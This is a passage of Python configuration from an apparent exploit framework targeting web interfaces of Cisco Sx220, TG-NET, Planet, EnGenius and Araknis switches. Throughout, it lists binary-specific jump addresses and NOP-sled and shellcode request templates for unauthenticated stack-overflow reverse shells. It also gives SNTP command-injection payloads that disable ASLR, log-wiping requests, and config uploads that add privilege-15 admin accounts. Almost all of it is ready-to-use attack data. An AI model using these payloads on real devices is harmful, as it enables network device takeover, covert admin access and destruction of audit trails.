/sqfs/home/web/cgi-bin/dispatcher.cgi; web_log_file_del() 'log_fileClear':0x4BA5D0, # Jump one after 'sw $ra' # Clean FILE log (address, binary dependent) 'vulnerable': True, }, # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post() 'stack_cgi_sntp': { 'sys_timeSntp_set':0x43764C, # Jump one after 'sw $ra' # Set SNTP Server (Inject CMD) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post() 'sys_timeSntpDel_set':0x43764C, # Jump one after 'sw $ra' # Delete (address, binary dependent) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_time_post() 'sys_timeSettings_set':0x431CC4,# Jump one after 'sw $ra' # Enable/Disable (address, binary dependent) 'vulnerable': False, }, 'heack_cgi_shell': { 'cgi':'dispatcher.cgi', # /sqfs/home/web/cgi-bin/dispatcher.cgi; main() 'query':'username=admin&password=_PWDNOP_RA_START&login=1&shellcod=_USRNOP_USRNOP_USRNOP_SHELLCODE', 'START':0x7ffe6e04, # start: Stack overflow RA, used for searching NOP sled by blind jump 'STOP':0x7fc60000, # end: You may want to play with this if you dont get it working 'stack':True, # NOP and shellcode lays on: True = stack, False = Heap 'usr_nop': 53, # NOP sled (shellcode will be tailed) 'pwd_nop': 45, # filler/garbage (not used for something constructive) 'align': 0, # Align opcodes in memory 'vulnerable': True, 'workaround':True, # My LAB workaround }, }, }, # # TG-NET Botone Technology Co.,Ltd. # (Traces in this image: 3One Data Communication, Saitian, Sangfor, Sundray, Gigamedia, GetCK, Hanming Technology) # # CGI Reverse Shell : Yes # Boa/Hydra reverse shell: Yes # Del /var/log/ram.log : Yes # Del /var/log/flash.log : No # Del /mntlog/flash.log : No # Add credentials : Yes # Del credentials : Yes # '222-81176': { 'template':'TG-NET', # Static for the vendor 'version':'3.1.1-R1', # Version / binary dependent stuff 'model':'P3026M-24POE (V3)', # Model 'uri':'http://www.tg-net.net/productshow.asp?ProdNum=1049&parentid=98', 'exploit': { 'heack_hydra_shell': { # /sqfs/bin/boa; embedparse() 'gadget': 0x40C74C, # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent) # /sqfs/bin/boa; read_body(); 'system': 0x8f99851c, # la $t9, system) # opcode, binary dependent # /sqfs/bin/boa; read_body(); 'handler': 0x2484a2d4, # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent) 'v0': 7, # Should leave as-is (but you can play between 5 - 8) 'vulnerable': True, }, 'stack_cgi_diag': { 'vulnerable': False, }, 'stack_cgi_add_account': { 'vulnerable': False, }, 'stack_cgi_del_account': { # 'vulnerable': False, }, 'stack_cgi_log': { # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_log_setting_post() 'log_settings_set':0x46AC10, # Jump one after 'sw $ra' # Disable Logging (address, binary dependent) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_log_file_del() 'log_ramClear':0x46E368, # Jump one after 'sw $ra' # Clean RAM log (address, binary dependent) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_log_file_del() 'log_fileClear':0x46E368, # Jump one after 'sw $ra' # Clean FILE log (address, binary dependent) 'vulnerable': True, }, 'stack_cgi_sntp': { # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post() 'sys_timeSntp_set':0x42243C, # Jump one after 'sw $ra' # Set SNTP Server (Inject CMD) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post() 'sys_timeSntpDel_set':0x42243C, # Jump one after 'sw $ra' # Delete (address, binary dependent) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_time_post() 'sys_timeSettings_set':0x424DE0,# Jump one after 'sw $ra' # Enable/Disable (address, binary dependent) 'vulnerable':False, }, # Interesting when there is a fresh heap with 0x00's (4 x 0x00 == MIPS NOP), # and to fill wider area with sending '&%8f%84%01=%8f%84%80%18' where: # # NOP's # '24%04%FF=' : '=' will be replaced with 0x00, li $a0, 0xFFFFFF00 # '%24%04%FF%FF' : li $a0, 0xFFFFFFFF 'heack_cgi_shell': { 'cgi':'dispatcher.cgi', # /sqfs/home/web/cgi-bin/dispatcher.cgi; main() 'query':'username='+ self.random_string(112) +'_RA_START&password='+ self.random_string(80) +'&login=1'+ ('&%24%04%FF=%24%04%FF%FF' * 50) +'_SHELLCODE', 'START':0x10010104, # start: Stack overflow RA, used for searching NOP sled by blind jump 'STOP' :0x10600604, # end: You may want to play with this if you dont get it working 'usr_nop': 28, # NOP sled (shellcode will be tailed) 'pwd_nop': 20, # filler/garbage (not used for something constructive) 'align': 0, # Align opcodes in memory 'stack':False, # NOP and shellcode lays on: True = stack, False = Heap 'vulnerable': True, }, }, }, } # # Vendor templates, Vendor_ETag() will be merged to here # (dont delete anything here thats not moved to Vendor_ETag()) # Vendor_Template = { # 'Planet': { 'vendor': 'PLANET Technology Corp.', 'modulus_uri':'', 'info_leak':False, 'info_leak_JSON':False, 'info_leak_uri':'', 'xsid':False, 'xsid_uri':'', 'login': { 'description':'Login/Logout on remote device', 'authenticated': True, 'json':False, 'encryption':'clear', 'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'query':'username=USERNAME&password=PASSWORD&login=1', 'status_uri':'/cgi-bin/dispatcher.cgi?cmd=547', 'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3', 'vulnerable': True, 'safe': True }, 'log':{ 'description':'Disable and clean logs', 'authenticated': True, 'json':False, 'disable_uri':'/cgi-bin/dispatcher.cgi', 'disable_query':'LOGGING_SERVICE=0&cmd=5121', 'status':'', 'clean_logfile_uri':'/cgi-bin/dispatcher.cgi', 'clean_logfile_query':'cmd_5132=Clear+file+messages', 'clean_logmem_uri':'/cgi-bin/dispatcher.cgi', 'clean_logmem_query':'cmd_5132=Clear+buffered+messages', 'vulnerable': True, 'safe': True }, # Verify lacking authentication 'verify': { 'httpuploadbakcfg.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload "backup-config" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httpuploadbakcfg.cgi', 'check_uri':'', 'content':'dummy', 'content_check':' Invalid config file!!', # one 0x20 in beginning 'vulnerable': True, 'safe': True }, 'httpuploadruncfg.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload/update "running-config" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httpuploadruncfg.cgi', 'check_uri':'', 'content':'dummy', 'content_check':' Invalid config file!!', # one 0x20 in beginning 'vulnerable': True, 'safe': True }, 'httprestorecfg.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload "startup-config" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httprestorecfg.cgi', 'check_uri':'', 'content':'dummy', 'content_check':' Invalid config file!!', # one 0x20 in beginning 'vulnerable': True, 'safe': True }, 'httpupload.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httpupload.cgi', 'check_uri':'', 'content':'dummy', 'content_check':'Image Signature Error', 'vulnerable': True, 'safe': True }, 'dispatcher.cgi': { # 'username' also suffer from stack overflow 'description':'Stack overflow in "username/password" (PoC: crash CGI)', 'response':'502', 'Content-Type':False, 'authenticated': False, 'uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'content':'username=admin&password='+ self.random_string(184) + '&login=1', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, }, 'exploit': { 'heack_hydra_shell': { 'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)', 'authenticated': False, 'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory 'vulnerable': True, 'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart }, 'priv15_account': { 'description':'Upload/Update running-config (PoC: add priv 15 credentials)', 'json':False, 'authenticated': False, 'encryption':'md5', 'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" secret encrypted PASSWORD\n\n------', #'encryption':'nopassword', #'content':'Content-Type\n\nconfig-file-header\nusername "USERNAME" nopassword\n\n------', # Yep, working too 'add_uri':'/cgi-bin/httpuploadruncfg.cgi', 'del_query':'', 'del_uri':'/cgi-bin/dispatcher.cgi?cmd=526&usrName=USERNAME', 'vulnerable': True, 'safe': True }, 'sntp': { 'description':'SNTP command injection (PoC: disable ASLR)', 'json':False, 'authenticated': True, 'enable_uri':'/cgi-bin/dispatcher.cgi', 'enable_query':'sntp_enable=1&cmd=548', 'status_uri':'/cgi/get.cgi?cmd=sys_timeSettings', 'inject_uri':'/cgi-bin/dispatcher.cgi', 'inject_query':'sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123&cmd=550', 'check_query':'sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123&cmd=550', 'delete_uri':'/cgi-bin/dispatcher.cgi', 'delete_query':'sntp_Server=+&sntp_Port=123&cmd=550', 'disable_uri':'/cgi-bin/dispatcher.cgi', 'disable_query':'sntp_enable=0&cmd=548', 'verify_uri':'/tmp/check', 'vulnerable': True, 'safe': True }, # # The stack overflow in 'username' and 'password' at same request are multipurpose. # # # The trick to jump and execute: # 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination] # 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary # 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important) # 4. We will also feed required function parameters, by adding them to '_CMD_' # 'stack_cgi_diag': { 'description':'Stack overflow in "username/password" (PoC: Disable ASLR)', 'authenticated': False, 'uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'content':'username='+ self.random_string(212) +'_JUMP_&password='+ self.random_string(180) +'&_CMD_&login=1', 'sys_ping_post_check':'', 'sys_ping_post_SIGSEGV': False, # SIGSEGV ? 'workaround':True, # My LAB workaround 'vulnerable': True, 'safe': True }, 'stack_cgi_log': { 'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)', 'authenticated': False, 'uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'content':'username='+ self.random_string(212) +'_JUMP_&password='+ self.random_string(180) +'_CMD_&login=1', 'log_settings_set_cmd':'&LOGGING_SERVICE=0',# Disable Logging CMD 'log_settings_set_SIGSEGV':False, # Disable Logging SIGSEGV ? 'log_ramClear_cmd':'', # Clean RAM log CMD 'log_ramClear_SIGSEGV':False, # Clean RAM log SIGSEGV ? 'log_fileClear_cmd':'', # Clean FILE log CMD 'log_fileClear_SIGSEGV':False, # Clean FILE log SIGSEGV ? 'workaround':True, # My LAB workaround 'verify_uri':'/tmp/check', 'vulnerable': True, 'safe': True }, 'stack_cgi_sntp': { 'description':'Stack overflow in "username/password" (PoC: Disable ASLR)', 'authenticated': False, 'uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'content':'username='+ self.random_string(212) +'_JUMP_&password='+ self.random_string(180) +'_CMD_&login=1', 'sys_timeSntp_set_cmd':'&sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123', 'sys_timeSntp_set_check':'&sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123', 'sys_timeSntpDel_set_cmd':'&sntp_Server=+&sntp_Port=123', 'sys_timeSettings_set_cmd_enable':'&sntp_enable=1', 'sys_timeSettings_set_cmd_disable':'&sntp_enable=0', 'sys_timeSettings_set_SIGSEGV': False, # SIGSEGV ? 'workaround':True, # My LAB workaround 'verify_uri':'/tmp/check', 'vulnerable': True, 'safe': True }, # # After disabled ASLR, we can proceed to put NOP sled and shellcode on stack. # Then we will start walk down from top of stack to hit the NOP sled to execute shellcode # 'heack_cgi_shell': { 'description':'Stack overflow in "username/password" (PoC: reverse shell)', 'authenticated': False, 'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3', 'query':'username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&login=1', 'workaround':True, # My LAB workaround 'stack':True, # False = use Heap, and there are no ASLR 'vulnerable': True, 'safe': True }, }, }, 'Cisco': { 'vendor': 'Cisco Systems, Inc.', 'model':'Sx220', 'uri':'https://www.cisco.com/c/en/us/support/switches/small-business-220-series-smart-plus-switches/tsd-products-support-series-home.html', 'modulus_uri':'/cgi/get.cgi?cmd=home_login', 'info_leak':True, 'info_leak_JSON':True, 'info_leak_uri':'/cgi/get.cgi?cmd=home_login', 'xsid':True, 'xsid_uri':'/cgi/get.cgi?cmd=home_main', 'login': { 'description':'Login/Logout on remote device', 'authenticated': True, 'json':True, 'encryption':'rsa', 'login_uri':'/cgi/set.cgi?cmd=home_loginAuth', 'query':'{"_ds=1&username=USERNAME&password=PASSWORD&_de=1":{}}', 'status_uri':'/cgi/get.cgi?cmd=home_loginStatus', 'logout_uri':'/cgi/set.cgi?cmd=home_logout', 'vulnerable': True, 'safe': True }, 'log':{ 'description':'Disable and clean logs', 'authenticated': True, 'json':True, 'disable_uri':'/cgi/set.cgi?cmd=log_settings', 'disable_query':'{"_ds=1&ram_sev_0=on&ram_sev_1=on&ram_sev_2=on&ram_sev_3=on&ram_sev_4=on&ram_sev_5=on&ram_sev_6=on&_de=1":{}}', 'status':'/cgi/get.cgi?cmd=log_settings', 'clean_logfile_uri':'/cgi/set.cgi?cmd=log_fileClear', 'clean_logfile_query':'{"":{}}', 'clean_logmem_uri':'/cgi/set.cgi?cmd=log_ramClear', 'clean_logmem_query':'{"":{}}', 'vulnerable': True, 'safe': True }, # Verify lacking authentication 'verify': { 'httpuploadbakcfg.cgi':{ 'authenticated': False, 'response':'file', 'Content-Type':True, 'description':'Upload "backup-config" (PoC: Create invalid file to verify)', 'uri':'/cgi/httpuploadbakcfg.cgi', 'check_uri':'/tmp/startup-config', 'content':'/mnt/backup-config', 'content_check':'/mnt/backup-config', 'vulnerable': True, 'safe': True }, 'httpuploadlang.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload/update "language" (PoC: Create invalid file to verify)', 'uri':'/cgi/httpuploadlang.cgi', 'check_uri':False, # 'content': self.random_string(30), # We checking returned 'errMsgLangMG' and LEN of this text 'content_check':'errMsgLangMG', # 'vulnerable': True, 'safe': True }, 'httpuploadruncfg.cgi':{ 'authenticated': False, 'response':'file', 'Content-Type':True, 'description':'Upload/update "running-config" (PoC: Create invalid file to verify)', 'uri':'/cgi/httpuploadruncfg.cgi', 'check_uri':'/tmp/http_saverun_cfg', 'content':'/var/config/running-config', 'content_check':'/var/config/running-config', 'vulnerable': True, 'safe': True }, 'httprestorecfg.cgi':{ 'authenticated': False, 'response':'file', 'Content-Type':True, 'description':'Upload "startup-config" (PoC: Create invalid file to verify)', 'uri':'/cgi/httprestorecfg.cgi', 'check_uri':'/tmp/startup-config', 'content':'/mnt/startup-config', 'content_check':'/mnt/startup-config', 'vulnerable': True, 'safe': True }, 'httpupload.cgi':{ 'authenticated': False, 'response':'file', 'Content-Type':True, 'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httpupload.cgi', 'check_uri':'/tmp/http_uploadfail', 'content':'Copy: Illegal software format', # Not the real content, its the result of invalid firmware (workaround) 'content_check':'Copy: Illegal software format', 'vulnerable': True, 'safe': True }, 'login.cgi': { 'description':'Stack overflow in login.cgi (PoC: create file /tmp/VUL.TXT)', 'authenticated': False, 'response':'file', 'Content-Type':False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'check_uri':'/tmp/VUL.TXT', # We cannot control the content... 'content':'{"_ds=1&username='+ self.random_string(32) +'&password=/tmp/VUL.TXT&_de=1":{}}', 'content_check':'2', 'vulnerable': True, 'safe': True }, 'set.cgi': { # 'username' also suffer from stack overflow 'description':'Stack overflow in "username/password" (PoC: crash CGI)', 'authenticated': False, 'response':'502', 'Content-Type':False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'content':'{"_ds=1&username=admin&password=' + self.random_string(312) + '&_de=1":{}}', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, }, 'exploit': { 'heack_hydra_shell': { 'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)', 'authenticated': False, 'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory 'vulnerable': True, 'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart }, 'priv15_account': { 'description':'Upload/Update running-config (PoC: add priv 15 credentials)', 'authenticated': False, 'json':True, 'encryption':'md5', 'content':'Content-Type\n\nconfig-file-header\nusername "USERNAME" secret encrypted PASSWORD\n\n------', #'encryption':'nopassword', #'content':'Content-Type\n\nconfig-file-header\nusername "USERNAME" nopassword\n\n------', # Yep, working too 'add_uri':'/cgi/httpuploadruncfg.cgi', 'del_query':'{"_ds=1&user=USERNAME&_de=1":{}}', 'del_uri':'/cgi/set.cgi?cmd=aaa_userDel', 'vulnerable': True, 'safe': True }, 'sntp': { 'description':'SNTP command injection (PoC: disable ASLR)', 'json':True, 'authenticated': True, 'enable_uri':'/cgi/set.cgi?cmd=sys_timeSettings', 'enable_query':'{"_ds=1&sntpStatus=1&_de=1":{}}', 'status_uri':'/cgi/get.cgi?cmd=sys_timeSettings', 'inject_uri':'/cgi/set.cgi?cmd=sys_timeSntp', 'inject_query':'{"_ds=1&srvDef=byIp&sntpServer=`echo 0 > /proc/sys/kernel/randomize_va_space`&cursntpPort=123&_de=1":{}}', 'check_query':'{"_ds=1&srvDef=byIp&sntpServer=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&cursntpPort=123&_de=1":{}}', 'delete_uri':'/cgi/set.cgi?cmd=sys_timeSntpDel', 'delete_query':'{"":{}}', 'disable_uri':'/cgi/set.cgi?cmd=sys_timeSettings', 'disable_query':'{"_ds=1&sntpStatus=0&_de=1":{}}', 'verify_uri':'/tmp/check', 'vulnerable': True, 'safe': True }, # # The stack overflow in 'username' and 'password' at same request are multipurpose. # # # The trick to jump and execute: # 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination] # 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary # 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important) # 4. We will also feed required function parameters, by adding them to '_CMD_' # 'stack_cgi_diag': { 'description':'Stack overflow in "username/password" (PoC: Disable ASLR)', 'authenticated': False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}', 'sys_ping_post_SIGSEGV': True, # SIGSEGV ? 'workaround':False, # My LAB workaround 'vulnerable': True, 'safe': True }, 'stack_cgi_log': { 'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)', 'authenticated': False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}', 'log_settings_set_cmd':'', # Disable Logging CMD 'log_settings_set_SIGSEGV':True, # Disable Logging SIGSEGV ? 'log_ramClear_cmd':'', # Clean RAM CMD 'log_ramClear_SIGSEGV':True, # Clean RAM SIGSEGV ? 'log_fileClear_cmd':'', # Clean FILE log CMD 'log_fileClear_SIGSEGV':True, # Clean FILE log SIGSEGV ? 'workaround':False, # My LAB workaround 'verify_uri':'', 'vulnerable': True, 'safe': True }, 'stack_cgi_sntp': { 'description':'Stack overflow in "username/password" (PoC: Disable ASLR)', 'authenticated': False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}', 'sys_timeSntp_set_cmd':'&srvDef=byIp&sntpServer=`echo 0 > /proc/sys/kernel/randomize_va_space`&cursntpPort=123', 'sys_timeSntp_set_check':'&sntpServer=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&cursntpPort=123', 'sys_timeSntpDel_set_cmd':'&sntpServer=+&cursntpPort=123', # CMD 'sys_timeSettings_set_cmd_enable':'&sntpStatus=1', # Enable CMD 'sys_timeSettings_set_cmd_disable':'&sntpStatus=0', # Disable CMD 'sys_timeSettings_set_SIGSEGV': True, # SIGSEGV ? 'workaround':False, # My LAB workaround 'verify_uri':'/tmp/check', 'vulnerable': True, 'safe': True }, # # After disabled ASLR, we can proceed to put NOP sled and shellcode on stack. # Then we will start walk down from top of stack to hit the NOP sled to execute shellcode # 'heack_cgi_shell': { 'description':'Stack overflow in "username/password" (PoC: reverse shell)', 'authenticated': False, 'login_uri':'/cgi/set.cgi?cmd=home_loginAuth', 'logout_uri':'/cgi/set.cgi?cmd=home_logout', 'query':'{"_ds=1&username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&_de=1":{}}', 'stack':True, # False = use Heap, and there are no ASLR 'workaround':False, # My LAB workaround 'vulnerable': True, 'safe': True }, }, }, 'EnGenius': { 'vendor': 'EnGenius Technologies, Inc.', 'modulus_uri':'', 'info_leak':True, 'info_leak_JSON':False, 'info_leak_uri':'/loginMsg.js', 'xsid':False, 'xsid_uri':'', 'login': { 'description':'Login/Logout on remote device', 'authenticated': True, 'json':True, 'encryption':'', 'login_uri':'', 'query':'', 'status_uri':'', 'logout_uri':'', 'vulnerable': False, 'safe': True }, 'login': { 'description':'Login/Logout on remote device', 'authenticated': True, 'json':True, 'encryption':'', 'login_uri':'', 'query':'', 'status_uri':'', 'logout_uri':'', 'vulnerable': False, 'safe': True }, 'log':{ 'description':'Disable and clean logs', 'authenticated': True, 'json':True, 'disable_uri':'', 'disable_query':'', 'status':'', 'clean_logfile_uri':'', 'clean_logfile_query':'', 'clean_logmem_uri':'', 'clean_logmem_query':'', 'vulnerable': False, 'safe': True }, # Verify lacking authentication 'verify': { 'security.cgi': { # 'username' also suffer from stack overflow 'description':'Stack overflow in "username/password" (PoC: crash CGI)', 'authenticated': False, 'response':'502', 'Content-Type':False, 'uri':'/cgi-bin/security.cgi?login', 'content':'usr=admin&pswrd=' + self.random_string(280), 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, 'datajson.cgi': { # 'username' also suffer from stack overflow 'description':'Stack overflow in "username/password" (PoC: crash CGI)', 'authenticated': False, 'response':'502', 'Content-Type':False, 'uri':'/cgi-bin/datajson.cgi?login', 'content':'usr=admin&pswrd=' + self.random_string(288), 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, }, 'exploit': { 'heack_hydra_shell': { 'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)', 'authenticated': False, 'uri':'/cgi-bin/sn_httpupload.cgi?', # Including alignment of opcodes in memory 'vulnerable': True, 'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart }, 'priv15_account': { 'description':'Upload/Update running-config (PoC: add priv 15 credentials)', 'authenticated': False, 'json':True, 'encryption':'', 'content':'', 'add_uri':'', 'del_query':'', 'del_uri':'', 'vulnerable': False, 'safe': True }, 'sntp': { 'description':'SNTP command injection (PoC: disable ASLR)', 'json':True, 'authenticated': True, # <================================ 'enable_uri':'/cgi/set.cgi?cmd=sys_timeSettings', 'enable_query':'{"_ds=1&sntpStatus=1&_de=1":{}}', 'status_uri':'/cgi/get.cgi?cmd=sys_timeSettings', 'inject_uri':'/cgi/set.cgi?cmd=sys_timeSntp', 'inject_query':'{"_ds=1&srvDef=byIp&sntpServer=`echo 0 > /proc/sys/kernel/randomize_va_space`&cursntpPort=123&_de=1":{}}', 'check_query':'{"_ds=1&srvDef=byIp&sntpServer=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&cursntpPort=123&_de=1":{}}', 'delete_uri':'/cgi/set.cgi?cmd=sys_timeSntpDel', 'delete_query':'{"":{}}', 'disable_uri':'/cgi/set.cgi?cmd=sys_timeSettings', 'disable_query':'{"_ds=1&sntpStatus=0&_de=1":{}}', 'verify_uri':'/tmp/check', 'vulnerable': False, # It is vulnerable, but I am not using this authenticated code here :> 'safe': True }, # # The stack overflow in 'username' and 'password' at same request are multipurpose. # # # The trick to jump and execute: # 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination] # 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary # 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important) # 4. We will also feed required function parameters, by adding them to '_CMD_' # # Bonus: Disable and clean logs # # 'stack_cgi_add_account': { 'description':'Stack overflow in "username/password" (PoC: add priv 15 credentials)', 'authenticated': False, 'uri':'/cgi-bin/datajson.cgi?login', 'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_', 'workaround':False, # My LAB workaround 'vulnerable': True, 'safe': True }, 'stack_cgi_del_account': { 'description':'Stack overflow in "username/password" (PoC: del priv 15 credentials)', 'authenticated': False, 'uri':'/cgi-bin/datajson.cgi?login', 'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_', 'workaround':False, # My LAB workaround 'vulnerable': True, 'safe': True }, 'stack_cgi_diag': { 'description':'Stack overflow in "username/password" (PoC: Disable ASLR)', 'authenticated': False, 'uri':'/cgi-bin/datajson.cgi?login', 'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_', 'sys_ping_post_SIGSEGV': True, # SIGSEGV ? 'workaround':False, # My LAB workaround 'vulnerable': True, 'safe': True }, 'stack_cgi_log': { 'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)', 'authenticated': False, 'uri':'/cgi-bin/datajson.cgi?login', 'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_', 'log_settings_set_cmd':'&en=0', # Disable Logging CMD 'log_settings_set_SIGSEGV':True, # Disable Logging SIGSEGV ? 'log_ramClear_cmd':'&ta=0', # Clean RAM CMD 'log_ramClear_SIGSEGV':True, # Clean RAM SIGSEGV ? 'log_fileClear_cmd':'&ta=1', # Clean FILE log CMD 'log_fileClear_SIGSEGV':True, # Clean FILE log SIGSEGV ? 'workaround':False, # My LAB workaround 'verify_uri':'', 'vulnerable': True, 'safe': True }, 'stack_cgi_sntp': { 'description':'Stack overflow in "username/password" (PoC: Disable ASLR)', 'authenticated': False, 'uri':'/cgi-bin/datajson.cgi?login', 'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_', 'sys_timeSntp_set_cmd':'&sa=`echo 0 > /proc/sys/kernel/randomize_va_space`&sp=123', 'sys_timeSntp_set_check':'&sa=`cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check`&sp=123', 'sys_timeSntpDel_set_cmd':'&sa=+&sp=123', # CMD 'sys_timeSettings_set_cmd_enable':'&sn=1', # Enable CMD 'sys_timeSettings_set_cmd_disable':'&sn=0', # Disable CMD 'sys_timeSettings_set_SIGSEGV': True, # SIGSEGV ? 'workaround':False, # My LAB workaround 'verify_uri':'/conf_tmp/check', 'vulnerable': True, 'safe': True }, # # Used for both 'heap' and 'stack' # 'heack_cgi_shell': { 'description':'Stack overflow in "username/password" (PoC: reverse shell)', 'authenticated': False, 'login_uri':'/cgi-bin/security.cgi?login', 'logout_uri':'/cgi-bin/security.cgi?logout', 'query':'build=NOP&heap=NOP&to=NOP&higher=addresses&usr=admin&pswrd=_PWDNOP_RA_START&shellcode=_USRNOP_SHELLCODE', #'stack':False, # False = use Heap, and there are no ASLR 'workaround':False, # My LAB workaround 'vulnerable': True, 'safe': True }, }, }, 'Araknis': { 'vendor': 'Araknis Networks', 'modulus_uri':'', 'info_leak':True, 'info_leak_JSON':False, 'info_leak_uri':'/loginMsg.js', 'xsid':False, 'xsid_uri':'', 'login': { 'description':'Login/Logout on remote device', 'authenticated': True, 'json':True, 'encryption':'', 'login_uri':'', 'query':'', 'status_uri':'', 'logout_uri':'', 'vulnerable': False, 'safe': True }, 'login': { 'description':'Login/Logout on remote device', 'authenticated': True, 'json':True, 'encryption':'', 'login_uri':'', 'query':'', 'status_uri':'', 'logout_uri':'', 'vulnerable': False, 'safe': True }, 'log':{ 'description':'Disable and clean logs', 'authenticated': True, 'json':True, 'disable_uri':'', 'disable_query':'', 'status':'', 'clean_logfile_uri':'', 'clean_logfile_query':'', 'clean_logmem_uri':'', 'clean_logmem_query':'', 'vulnerable': False, 'safe': True }, # Verify lacking authentication 'verify': { 'security.cgi': { # 'username' also suffer from stack overflow 'description':'Stack overflow in "username/password" (PoC: crash CGI)', 'authenticated': False, 'response':'502', 'Content-Type':False, 'uri':'/cgi-bin/security.cgi?login', 'content':'usr=admin&pswrd=' + self.random_string(280), 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, 'datajson.cgi': { # 'username' also suffer from stack overflow 'description':'Stack overflow in "username/password" (PoC: crash CGI)', 'authenticated': False, 'response':'502', 'Content-Type':False, 'uri':'/cgi-bin/datajson.cgi?login', 'content':'usr=admin&pswrd=' + self.random_string(288), 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, }, 'exploit': { 'heack_hydra_shell': { 'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)', 'authenticated': False, 'uri':'/cgi-bin/sn_httpupload.cgi?', # Including alignment of opcodes in memory 'vulnerable': True, 'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart }, 'priv15_account': { 'description':'Upload/Update running-config (PoC: add priv 15 credentials)', 'authenticated': False, 'json':True, 'encryption':'', 'content':'', 'add_uri':'', 'del_query':'', 'del_uri':'', 'vulnerable': False, 'safe': True }, 'sntp': { 'description':'SNTP command injection 